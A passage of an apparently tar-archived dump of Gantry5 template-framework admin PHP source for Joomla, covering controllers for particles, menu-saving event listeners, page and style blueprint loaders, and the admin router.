            $id = $instance['selected'];
        }

        $item = $layout->find($id);
        $type = isset($item->type) ? $item->type : $type;
        $subtype = isset($item->subtype) ? $item->subtype : $subtype;
        $item->attributes = isset($item->attributes) ? (array)
$item->attributes : [];
        $block = $layout->block($id);
        $block = isset($block->attributes) ? (array)
$block->attributes : [];

        $params = [
            'gantry'        => $this->container,
            'parent'        => 'settings',
            'route'         =>
"configurations.{$outline}.settings",
            'inherit'       => $inherit ? $outline : null,
        ];

        if ($layout->isLayoutType($type)) {
            $name = $type;
            $particle = false;
            $defaults = [];
            $blueprints =
BlueprintForm::instance("layout/{$name}.yaml",
'gantry-admin://blueprints');
        } else {
            $name = $subtype;
            $particle = true;
            $defaults =
$this->container['config']->get("particles.{$name}");
            $item->attributes = $item->attributes + $defaults;
            $blueprints =
$this->container['particles']->getBlueprintForm($name);
            $blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
        }

        $paramsParticle = [
            'title'         => isset($item->title) ?
$item->title : '',
            'blueprints'    =>
$blueprints->get('form'),
            'item'          => $item,
            'data'          => ['particles' =>
[$name => $item->attributes]],
            'defaults'      => ['particles' =>
[$name => $defaults]],
            'prefix'        => "particles.{$name}.",
            'editable'      => $particle,
            'overrideable'  => $particle,
            'skip'          => ['enabled']
        ] + $params;

        $html['g-settings-particle'] =
$this->render('@gantry-admin/pages/configurations/layouts/particle-card.html.twig',
 $paramsParticle);
        $html['g-settings-block-attributes'] =
$this->renderBlockFields($block, $params);
        if ($path == 'list') {
            $html['g-inherit-particle'] =
$this->renderParticlesInput($inherit || $clone ? $outline : null,
$subtype, $post['selected']);
        }

        return new JsonResponse(['json' => $item,
'html' => $html]);
    }

    public function particle()
    {
        $post = $this->request->request;

        $outline = $post['outline'];
        $id = $post['id'];

        $this->container['outline'] = $outline;
        $this->container['configuration'] = $outline;

        $layout = Layout::instance($outline);

        $particle = clone $layout->find($id);
        if (!isset($particle->type)) {
            throw new \RuntimeException('Particle was not found from
the outline', 404);
        }

        $particle->block = $layout->block($id);

        $name = $particle->subtype;
        $prefix = "particles.{$name}";
        $defaults = (array)
$this->container['config']->get($prefix);
        $attributes = (array) $particle->attributes + $defaults;

        $particleBlueprints =
$this->container['particles']->getBlueprintForm($name);
        $particleBlueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);

        $blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');

        // TODO: Use blueprints to merge configuration.
        $particle->attributes = (object) $attributes;

        $this->params['id'] = $name;
        $this->params += [
            'extra'         => $blockBlueprints,
            'item'          => $particle,
            'data'          => ['particles' =>
[$name => $attributes]],
            'defaults'      => ['particles' =>
[$name => $defaults]],
            'prefix'        => "particles.{$name}.",
            'particle'      => $particleBlueprints,
            'parent'        => 'settings',
            'route'         =>
"configurations.{$outline}.settings",
            'action'        => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
            'skip'          => ['enabled'],
            'editable'      => false,
            'overrideable'  => true,
        ];

        $html =
$this->render('@gantry-admin/pages/configurations/layouts/particle-preview.html.twig',
$this->params);

        return new JsonResponse(['html' => $html]);
    }

    /**
     * Render block settings.
     *
     * @param array $block
     * @param array $params
     * @return string
     */
     protected function renderBlockFields(array $block, array $params)
     {
         $blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');

         $paramsBlock = [
                 'title' =>
$this->container['translator']->translate('GANTRY5_PLATFORM_BLOCK'),
                 'blueprints' => ['fields' =>
$blockBlueprints->get('form/fields/block_container/fields')],
                 'data' => ['block' => $block],
                 'prefix' => 'block.',
             ] + $params;

         return
$this->render('@gantry-admin/forms/fields.html.twig', 
$paramsBlock);
     }

    /**
     * Gets the list of available particle instances for an outline
     *
     * @param string $outline
     * @param string $particle
     * @param string $selected
     * @return string
     */

    protected function getParticleInstances($outline, $particle, $selected)
    {
        $list = $outline ?
$this->container['outlines']->getParticleInstances($outline,
$particle, false) : [];
        $selected = isset($list[$selected]) ? $selected : key($list);

        return ['list' => $list, 'selected' =>
$selected];
    }

    /**
     * Render input field for particle picker.
     *
     * @param string $outline
     * @param string $particle
     * @param string $selected
     * @return string
     */
    protected function renderParticlesInput($outline, $particle, $selected)
    {
        $instances = $this->getParticleInstances($outline, $particle,
$selected);

        $params = [
            'layout' => 'input',
            'scope' => 'inherit.',
            'field' => [
                'name' => 'particle',
                'type' => 'gantry.particles',
                'id' => 'g-inherit-particle',
                'outline' => $outline,
                'particles' => $instances['list'],
                'particle' => $particle
            ],
            'value' => $instances['selected']
        ];

        return
$this->render('@gantry-admin/forms/fields/gantry/particles.html.twig',
$params);
    }
}
Gantry/Admin/Controller/Json/Particle.php000064400000014451151157471010014357
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;

class Particle extends JsonController
{
    protected $httpVerbs = [
        'GET'    => [
            '/'                  =>
'selectParticle',
            '/module'            => 'selectModule'
        ],
        'POST'   => [
            '/'                  => 'undefined',
            '/*'                 => 'particle',
            '/*/validate'        => 'validate',
        ],
        'PUT'    => [
            '/*' => 'replace'
        ],
        'PATCH'  => [
            '/*' => 'update'
        ],
        'DELETE' => [
            '/*' => 'destroy'
        ]
    ];

    /**
     * Return a modal for selecting a particle.
     *
     * @return string
     */
    public function selectParticle()
    {
        $groups = [
            'Particles' => ['particle' => []],
        ];

        $particles = [
            'position'    => [],
            'spacer'      => [],
            'system'      => [],
            'particle'    => [],
        ];

        $particles = array_replace($particles, $this->getParticles());
        unset($particles['atom'],
$particles['position']);

        foreach ($particles as &$group) {
            asort($group);
        }

        foreach ($groups as $section => $children) {
            foreach ($children as $key => $child) {
                $groups[$section][$key] = $particles[$key];
            }
        }

        $this->params['particles'] = $groups;
        return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/particle-picker.html.twig',
$this->params)]);
    }

    /**
     * Return a modal content for selecting module.
     *
     * @return mixed
     */
    public function selectModule()
    {
        return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/module-picker.html.twig',
$this->params)]);
    }

    /**
     * Return form for the particle (filled with data coming from POST).
     *
     * @param string $name
     * @return mixed
     */
    public function particle($name)
    {
        $data = $this->request->post['item'];
        if ($data) {
            $data = json_decode($data, true);
        } else {
            $data = $this->request->post->getArray();
        }

        // TODO: add support for other block types as well, like menu.
        // $block = BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Load particle blueprints and default settings.
        $validator = $this->loadBlueprints('menu');
        $callable = function () use ($validator) {
            return $validator;
        };

        // Create configuration from the defaults.
        $item = new Config($data, $callable);
        $item->def('type', 'particle');
        $item->def('title',
$blueprints->get('name'));
        $item->def('options.type',
$blueprints->get('type', 'particle'));
        $item->def('options.particle', []);
        $item->def('options.block', []);

        $this->params += [
            'item'          => $item,
            // 'block'         => $block,
            'data'          => ['particles' =>
[$name => $item->options['particle']]],
            'particle'      => $blueprints,
            'parent'        => 'settings',
            'prefix'        => "particles.{$name}.",
            'route'         =>
"configurations.default.settings",
            'action'        =>
"particle/{$name}/validate"
        ];

        return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/particle.html.twig',
$this->params)]);
    }

    /**
     * Validate data for the particle.
     *
     * @param string $name
     * @return JsonResponse
     */
    public function validate($name)
    {
        // Load particle blueprints and default settings.
        $validator = new BlueprintSchema;
        $validator->embed('options',
$this->container['particles']->get($name));

        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Create configuration from the defaults.
        $data = new Config([],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->set('type', 'particle');
        $data->set('particle', $name);
        $data->set('title',
$this->request->post['title'] ?:
$blueprints->get('name'));
        $data->set('options.particle',
$this->request->post->getArray("particles.{$name}"));
        $data->def('options.particle.enabled', 1);

        $block =
$this->request->post->getArray('block');
        foreach ($block as $key => $param) {
            if ($param === '') {
                unset($block[$key]);
            }
        }

        if ($block) {
            $data->join('options.block', $block);
        }

        // TODO: validate

        // Fill parameters to be passed to the template file.
        $this->params['item'] = (object) $data->toArray();

        return new JsonResponse(['item' =>
$data->toArray()]);
    }

    protected function getParticles()
    {
        $particles = $this->container['particles']->all();

        $list = [];
        foreach ($particles as $name => $particle) {
            $type = isset($particle['type']) ?
$particle['type'] : 'particle';
            $particleName = isset($particle['name']) ?
$particle['name'] : $name;
            $particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;
            $list[$type][$name] = ['name' => $particleName,
'icon' => $particleIcon];
        }

        return $list;
    }

    /**
     * Load blueprints.
     *
     * @param string $name
     *
     * @return BlueprintForm
     */
    protected function loadBlueprints($name = 'menu')
    {
        return BlueprintForm::instance("menu/{$name}.yaml",
'gantry-admin://blueprints');
    }
}
Gantry/Admin/Controller/Json/Unsaved.php000064400000001445151157471010014220
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Json;

use Gantry\Component\Admin\JsonController;
use Gantry\Component\Response\JsonResponse;

class Unsaved extends JsonController
{
    protected $httpVerbs = [
        'GET' => [
            '/' => 'index'
        ]
    ];

    public function index()
    {
        $response = ['html' =>
$this->render('@gantry-admin/ajax/unsaved.html.twig')];
        return new JsonResponse($response);
    }
}
Gantry/Admin/EventListener.php000064400000017247151157471010012355
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Admin;

use Gantry\Component\Layout\Layout;
use Gantry\Joomla\CacheHelper;
use Gantry\Joomla\Manifest;
use Gantry\Joomla\StyleHelper;
use Joomla\Registry\Registry;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\Event\EventSubscriberInterface;
use RocketTheme\Toolbox\File\IniFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class EventListener implements EventSubscriberInterface
{
    public static function getSubscribedEvents()
    {
        return [
            'admin.init.theme'  =>
['onAdminThemeInit', 0],
            'admin.global.save' => ['onGlobalSave',
0],
            'admin.styles.save' => ['onStylesSave',
0],
            'admin.settings.save' =>
['onSettingsSave', 0],
            'admin.layout.save' => ['onLayoutSave',
0],
            'admin.assignments.save' =>
['onAssignmentsSave', 0],
            'admin.menus.save' => ['onMenusSave', 0]
        ];
    }

    public function onAdminThemeInit(Event $event)
    {
        \JPluginHelper::importPlugin('gantry5');

        // Trigger the onGantryThemeInit event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onGantry5AdminInit',
['theme' => $event->theme]);
    }

    public function onGlobalSave(Event $event)
    {
        \JPluginHelper::importPlugin('gantry5');

        // Trigger the onGantryThemeUpdateCss event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onGantry5SaveConfig',
[$event->data]);
    }

    public function onStylesSave(Event $event)
    {
        \JPluginHelper::importPlugin('gantry5');

        // Trigger the onGantryThemeUpdateCss event.
        $dispatcher = \JEventDispatcher::getInstance();
        $dispatcher->trigger('onGantry5UpdateCss',
['theme' => $event->theme]);
    }

    public function onSettingsSave(Event $event)
    {
    }

    public function onLayoutSave(Event $event)
    {
        /** @var Layout $layout */
        $layout = $event->layout;

        if ($layout->name[0] !== '_' &&
$layout->name !== 'default') {
            $preset = isset($layout->preset['name']) ?
$layout->preset['name'] : 'default';

            // Update Joomla template style.
            StyleHelper::update($layout->name, $preset);
        }

        $theme = $event->gantry['theme.name'];

        $positions =
$event->gantry['outlines']->positions();
        $positions['debug'] = 'Debug';

        $manifest = new Manifest($theme);
        $manifest->setPositions(array_keys($positions));
        $manifest->save();

        $translations = [];
        foreach ($positions as $key => $translation) {
            // Encode translation key in Joomla way.
            $key = preg_replace('/[^A-Z0-9_\-]/', '_',
strtoupper("TPL_{$theme}_POSITION_{$key}"));
            $translations[$key] = $translation;
        }

        /** @var UniformResourceLocator $locator */
        $locator = $event->gantry['locator'];

        $filename =
"gantry-theme://language/en-GB/en-GB.tpl_{$theme}_positions.ini";

        $ini = IniFile::instance($locator->findResource($filename, true,
true));
        $ini->save($translations);
        $ini->free();
    }

    public function onAssignmentsSave(Event $event)
    {
    }


    public function onMenusSave(Event $event)
    {
        $defaults = [
            'id' => 0,
            'layout' => 'list',
            'target' => '_self',
            'dropdown' => '',
            'icon' => '',
            'image' => '',
            'subtitle' => '',
            'icon_only' => false,
            'visible' => true,
            'group' => 0,
            'columns' => [],
            'link_title' => '',
            'hash' => '',
            'class' => ''
        ];

        $gantry = $event->gantry;
        $menu = $event->menu;

        // Save global menu settings into Joomla.
        /** @var \JTableMenuType $table */
        $menuType = \JTable::getInstance('MenuType');
        if (!$menuType->load(['menutype' =>
$event->resource])) {
            throw new \RuntimeException("Saving menu failed: Menu type
{$event->resource} not found.", 400);
        }
        $options = [
            'title' => $menu['settings.title'],
            'description' =>
$menu['settings.description']
        ];
        if ($gantry->authorize('menu.edit') &&
!$menuType->save($options)) {
            throw new \RuntimeException('Saving menu failed: '.
$menuType->getError(), 400);
        }

        unset($menu['settings']);

        /** @var \JTableMenu $table */
        $table = \JTable::getInstance('menu');

        foreach ($menu['items'] as $key => $item) {
            $id = !empty($item['id']) ? (int)
$item['id'] : 0;
            if ($id && $table->load($item['id'])) {
                $params = new Registry($table->params);

                // Menu item exists in Joomla, let's update it
instead.
                unset($item['type'], $item['link']);

                $item['id'] = (int) $id;

                $title = $menu["items.{$key}.title"];
                $browserNav = intval($menu["items.{$key}.target"]
=== '_blank');

                $options = [
                    // Disabled as the option has different meaning in
Joomla than in Gantry, see issue #1656.
                    // 'menu-anchor_css' =>
$menu["items.{$key}.class"],
                    'menu_image' =>
$menu["items.{$key}.image"],
                    'menu_text' =>
intval(!$menu["items.{$key}.icon_only"]),
                    'menu_show' =>
intval($menu["items.{$key}.enabled"]),
                ];

                $modified = false;

                if ($table->title != $title) {
                    $table->title = $title;
                    $modified = true;
                }

                if ($table->browserNav != $browserNav) {
                    $table->browserNav = $browserNav;
                    $modified = true;
                }

                foreach ($options as $var => $value) {
                    if ($params->get($var) !== $value) {
                        $params->set($var, $value);
                        $modified = true;
                    }
                }

                if ($modified &&
$gantry->authorize('menu.edit')) {
                    $table->params = (string) $params;
                    if (!$table->check() || !$table->store()) {
                        throw new \RuntimeException("Failed to save
/{$key}: {$table->getError()}", 400);
                    }
                }

                // Avoid saving values which are also stored in Joomla.
                unset($item['title'],
$item['anchor_class'], $item['image'],
$item['icon_only'], $item['target']);
                if (version_compare(JVERSION, '3.5.1',
'>=')) {
                    unset($item['enabled']);
                }

            }

            // Do not save default values.
            foreach ($defaults as $var => $value) {
                if (isset($item[$var]) && $item[$var] == $value) {
                    unset($item[$var]);
                }
            }

            // Do not save derived values.
            unset($item['path'], $item['alias'],
$item['parent_id'], $item['level'],
$item['group']);

            // Particles have no link.
            if (isset($item['type']) &&
$item['type'] === 'particle') {
                unset($item['link']);
            }

            // Because of ordering we need to save all menu items,
including those from Joomla which have no data except id.
            $event->menu["items.{$key}"] = $item;
        }

        // Clean the cache.
        CacheHelper::cleanMenu();
    }
}
Gantry/Admin/Page.php000064400000007021151157471010010427 0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin;

use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Page
{
    protected $container;
    protected $files;
    protected $blocks;

    public function __construct($container)
    {
        $this->container = $container;
    }

    public function all()
    {
        if (!$this->blocks)
        {
            $files = $this->locateBlocks();

            $this->blocks = [];
            foreach ($files as $key => $fileArray) {
                $filename = key($fileArray);
                $file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
                $this->blocks[$key] = $file->content();
                $file->free();
            }
        }

        return $this->blocks;
    }

    public function group()
    {
        $blocks = $this->all();

        $list = [];
        foreach ($blocks as $name => $setting) {
            $type = isset($setting['type']) ?
$setting['type'] : '';
            $list[$type][$name] = $setting;
        }

        return $this->sort($list);
    }

    public function get($id)
    {
        if ($this->blocks[$id]) {
            return $this->blocks[$id];
        }

        $files = $this->locateBlocks();

        if (empty($files[$id])) {
            throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
        }

        $filename = key($files[$id]);
        $file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
        $setting = $file->content();
        $file->free();

        return $setting;
    }

    /**
     * @param string $id
     * @return BlueprintForm
     */
    public function getBlueprintForm($id)
    {
        return BlueprintForm::instance($id,
'gantry-blueprints://page');
    }

    protected function sort(array $blocks)
    {
        $list = [];

        /** @var SiteTheme $theme */
        $theme = $this->container['theme'];
        $ordering = (array) $theme->details()['admin.page'];
        if (!count($ordering)) {
            $ordering = ['global' => ['head',
'assets', 'body', 'generics']];
        }

        ksort($blocks);

        foreach ($ordering as $name => $order) {
            if (isset($blocks[$name])) {
                $list[$name] = $this->sortItems($blocks[$name], (array)
$order);
            }
        }
        $list += $blocks;

        return $list;
    }

    protected function sortItems(array $items, array $ordering)
    {
        $list = [];

        ksort($items);

        foreach ($ordering as $name) {
            if (isset($items[$name])) {
                $list[$name] = $items[$name];
            }
        }
        $list += $items;

        return $list;
    }

    protected function locateBlocks()
    {
        if (!$this->files) {
            /** @var UniformResourceLocator $locator */
            $locator = $this->container['locator'];
            $paths =
$locator->findResources('gantry-blueprints://page');

            $this->files = (new ConfigFileFinder)->listFiles($paths);
        }

        return $this->files;
    }
}
Gantry/Admin/Particles.php000064400000011356151157471010011507
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin;

use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Particles
{
    protected $container;
    protected $files;
    protected $particles;

    public function __construct($container)
    {
        $this->container = $container;
    }

    public function overrides($outline, $particle = null)
    {
        if ($outline === 'default') {
            return true;
        }

        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        if ($particle) {
            // PHP 5.4
            $resource =
$locator->findResources("gantry-theme://config/{$outline}/particles/{$particle}.yaml");
            return !empty($resource);
        }

        // PHP 5.4
        $resource =
$locator->findResources("gantry-theme://config/{$outline}/particles");
        return !empty($resource);
    }

    public function all()
    {
        if (null === $this->particles) {
            $platform = $this->container['platform'];
            $files = $this->locateParticles();

            $this->particles = [];
            foreach ($files as $key => $fileArray) {
                $filename = key($fileArray);
                $file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
                $particle = $file->content();
                $file->free();

                if (!isset($particle['dependencies']) ||
$platform->checkDependencies($particle['dependencies'])) {
                    $this->particles[$key] = $particle;
                }
            }
        }

        return $this->particles;
    }

    public function group($exclude = [])
    {
        $particles = $this->all();

        $list = [];
        foreach ($particles as $name => $particle) {
            $type = isset($particle['type']) ?
$particle['type'] : 'particle';
            if (in_array($type, $exclude)) {
                continue;
            }
            if (in_array($type, ['spacer', 'system']))
{
                $type = 'position';
            }
            $list[$type][$name] = $particle;
        }

        return $this->sort($list);
    }

    public function get($id)
    {
        if (isset($this->particles[$id])) {
            return $this->particles[$id];
        }

        $files = $this->locateParticles();

        if (empty($files[$id])) {
            throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
        }

        $filename = key($files[$id]);
        $file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
        $particle = $file->content();
        $particle['subtype'] = $id; // TODO: can this be done
better or is it fine like that?
        $file->free();

        return $particle;
    }

    /**
     * @param string $id
     * @return BlueprintForm
     */
    public function getBlueprintForm($id)
    {
        return BlueprintForm::instance($id,
'gantry-blueprints://particles');
    }

    protected function sort(array $blocks)
    {
        $list = [];

        /** @var SiteTheme $theme */
        $theme = $this->container['theme'];
        $ordering = (array)
$theme->details()['admin.settings'] ?: [
                'particle' => [],
                'position' => ['position',
'spacer', 'messages', 'content'],
                'atom' => []
            ];

        ksort($blocks);

        foreach ($ordering as $name => $order) {
            if (isset($blocks[$name])) {
                $list[$name] = $this->sortItems($blocks[$name], (array)
$order);
            }
        }
        $list += $blocks;

        return $list;
    }


    protected function sortItems(array $items, array $ordering)
    {
        $list = [];

        ksort($items);

        foreach ($ordering as $name) {
            if (isset($items[$name])) {
                $list[$name] = $items[$name];
            }
        }
        $list += $items;

        return $list;
    }

    protected function locateParticles()
    {
        if (!$this->files) {
            /** @var UniformResourceLocator $locator */
            $locator = $this->container['locator'];
            $paths =
$locator->findResources('gantry-blueprints://particles');

            $this->files = (new ConfigFileFinder)->listFiles($paths);
        }

        return $this->files;
    }
}
Gantry/Admin/Router.php000064400000012062151157471010011034
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

namespace Gantry\Admin;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Request\Request;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Response\Response;
use Gantry\Component\Router\Router as BaseRouter;
use Gantry\Joomla\StyleHelper;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Gantry administration router for Joomla.
 */
class Router extends BaseRouter
{
    public function boot()
    {
        \JHtml::_('behavior.keepalive');

        $app = \JFactory::getApplication();
        $input = $app->input;

        // TODO: Remove style variable.
        $style = $input->getInt('style');
        $theme = $input->getCmd('theme');
        $path = array_filter(explode('/',
$input->getString('view', '')), function($var) {
return $var !== ''; });

        $this->setTheme($theme, $style);

        /** @var Request $request */
        $request = $this->container['request'];

        $this->method = $request->getMethod();
        $this->path = $path ?:
(isset($this->container['theme.name']) ?
['configurations', true] : ['themes']);
        $this->resource = array_shift($this->path);
        $this->format = $input->getCmd('format',
'html');
        $ajax = ($this->format == 'json');

        $this->params = [
            'user' => \JFactory::getUser(),
            'ajax' => $ajax,
            'location' => $this->resource,
            'method' => $this->method,
            'format' => $this->format,
            'params' =>
$request->post->getJsonArray('params')
        ];

        return $this;
    }

    public function setTheme($theme, $style)
    {
        if ($style) {
            \JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
            $table = \JTable::getInstance('Style',
'TemplatesTable');
            $table->load(['id' => $style,
'client_id' => 0]);

            $theme = $table->template;
        }
        if (!$theme) {
            $theme = StyleHelper::getDefaultStyle()->template;
        }

        $path = JPATH_SITE . '/templates/' . $theme;

        if (!is_file("{$path}/gantry/theme.yaml")) {
            $theme = null;
            $this->container['streams']->register();

            /** @var UniformResourceLocator $locator */
            $locator = $this->container['locator'];

            CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
            CompiledYamlFile::$defaultCaching =
$this->container['global']->get('compile_yaml',
1);
        }

        $this->container['base_url'] = \JUri::base(true) .
'/index.php?option=com_gantry5';

        $this->container['ajax_suffix'] =
'&format=json';

        $token = \JSession::getFormToken();

        $this->container['routes'] = [
            '1' =>
"&view=%s&theme={$theme}&{$token}=1",

            'themes' => '&view=themes',
            'picker/layouts' =>
"&view=layouts&theme={$theme}&{$token}=1",
        ];

        if (!$theme) {
            return $this;
        }

        $this->container['theme.path'] = $path;
        $this->container['theme.name'] = $theme;

        // Load language file for the template.
        $languageFile = 'tpl_' . $theme;
        $lang = \JFactory::getLanguage();
        $lang->load($languageFile, JPATH_SITE)
            || $lang->load($languageFile, $path)
            || $lang->load($languageFile, $path, 'en-GB');

        return $this;
    }

    protected function checkSecurityToken()
    {
        return \JSession::checkToken('get');
    }

    /**
     * Send response to the client.
     *
     * @param Response $response
     * @return string
     */
    protected function send(Response $response)
    {
        $app = \JFactory::getApplication();
        $document = \JFactory::getDocument();
        $document->setCharset($response->charset);
        $document->setMimeEncoding($response->mimeType);

        // Output HTTP header.
        $app->setHeader('Status', $response->getStatus());
        $app->setHeader('Content-Type', $response->mimeType
. '; charset=' . $response->charset);
        foreach ($response->getHeaders() as $key => $values) {
            $replace = true;
            foreach ($values as $value) {
                $app->setHeader($key, $value, $replace);
                $replace = false;
            }
        }

        if ($response instanceof JsonResponse) {
            $app->setHeader('Expires', 'Wed, 17 Aug 2005
00:00:00 GMT', true);
            $app->setHeader('Last-Modified', gmdate('D, d
M Y H:i:s') . ' GMT', true);
            $app->setHeader('Cache-Control', 'no-store,
no-cache, must-revalidate, post-check=0, pre-check=0', false);
            $app->setHeader('Pragma', 'no-cache');
            $app->sendHeaders();
        }

        // Output Gantry response.
        echo $response;

        if ($response instanceof JsonResponse) {
            $app->close();
        }
    }
}
Gantry/Admin/Styles.php000064400000006637151157471010011052
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin;

use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Theme as SiteTheme;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Styles
{
    protected $container;
    protected $files;
    protected $blocks;

    public function __construct($container)
    {
        $this->container = $container;
    }

    public function all()
    {
        if (!$this->blocks)
        {
            $files = $this->locateBlocks();

            $this->blocks = [];
            foreach ($files as $key => $fileArray) {
                $filename = key($fileArray);
                $file = CompiledYamlFile::instance(GANTRY5_ROOT .
'/' . $filename);
                $this->blocks[$key] = $file->content();
                $file->free();
            }
        }

        return $this->blocks;
    }

    public function group()
    {
        $blocks = $this->all();

        $list = [];
        foreach ($blocks as $name => $style) {
            $type = isset($style['type']) ?
$style['type'] : 'block';
            $list[$type][$name] = $style;
        }

        return $this->sort($list);
    }

    public function get($id)
    {
        if ($this->blocks[$id]) {
            return $this->blocks[$id];
        }

        $files = $this->locateBlocks();

        if (empty($files[$id])) {
            throw new \RuntimeException(sprintf("Settings for
'%s' not found.", $id), 404);
        }

        $filename = key($files[$id]);
        $file = CompiledYamlFile::instance(GANTRY5_ROOT . '/' .
$filename);
        $particle = $file->content();
        $file->free();

        return $particle;
    }

    /**
     * @param string $id
     * @return BlueprintForm
     */
    public function getBlueprintForm($id)
    {
        return BlueprintForm::instance($id,
'gantry-blueprints://styles');
    }

    protected function sort(array $blocks)
    {
        $list = [];

        /** @var SiteTheme $theme */
        $theme = $this->container['theme'];
        $ordering = (array) $theme->details()['admin.styles'];

        ksort($blocks);

        foreach ($ordering as $name => $order) {
            if (isset($blocks[$name])) {
                $list[$name] = $this->sortItems($blocks[$name], (array)
$order);
            }
        }
        $list += $blocks;

        return $list;
    }

    protected function sortItems(array $items, array $ordering)
    {
        $list = [];

        ksort($items);

        foreach ($ordering as $name) {
            if (isset($items[$name])) {
                $list[$name] = $items[$name];
            }
        }
        $list += $items;

        return $list;
    }

    protected function locateBlocks()
    {
        if (!$this->files) {
            /** @var UniformResourceLocator $locator */
            $locator = $this->container['locator'];
            $paths =
$locator->findResources('gantry-blueprints://styles');

            $this->files = (new ConfigFileFinder)->listFiles($paths);
        }

        return $this->files;
    }
}
Gantry/Admin/Theme.php000064400000007560151157471010010625 0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin;

use Gantry\Component\Config\CompiledConfig;
use Gantry\Component\Config\ConfigFileFinder;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Theme\AbstractTheme;
